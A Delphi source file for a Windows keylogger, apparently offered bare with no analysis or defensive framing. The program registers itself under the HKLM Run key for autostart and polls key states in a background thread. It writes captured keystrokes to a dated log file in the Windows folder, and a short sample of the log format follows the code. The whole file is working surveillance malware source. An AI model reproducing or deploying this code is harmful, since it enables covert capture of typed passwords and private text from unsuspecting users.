1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:

unit UMain;

interface

uses
  Windows, SysUtils, Forms, Registry;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private

  public

  end;

var
  Form1: TForm1;
  f: file of byte;

implementation

{$R *.dfm}
procedure RegisterAutorun;
var
  Reg: TRegistry;
begin
   Reg := TRegistry.create;
  try
   Reg.RootKey := HKEY_LOCAL_MACHINE;
   Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
   Reg.WriteString('keylog', paramstr(0));
  finally
    Reg.Free;
  end;
end;

procedure keylogger;
var
  i: byte;
begin
  while true do
    begin
      for i := 48 to 90 do
        if boolean(getasynckeystate(i)) then
          write(f,i);
          sleep(10);
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  tid: cardinal;
  tf, b: string;
  i, ch: byte;
begin
  RegisterAutorun;
  tf:= 'C:\Windows\' + datetostr(now) + '.log';
  assignfile(f, tf);
  if fileexists(tf) then
    begin
      reset(f);
      seek(f, filesize(f));
    end else
      rewrite(f);
  b:= ' [Started Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  createthread(nil,0,@keylogger,nil,0,tid);
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
  b: string;
  i, ch: byte;
begin
  b:= ' [Stopped Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  closefile(f);
end;


end.					

1:

[Started Logging at 'UHRZEIT']					

1:

[Stopped Logging at 'UHRZEIT']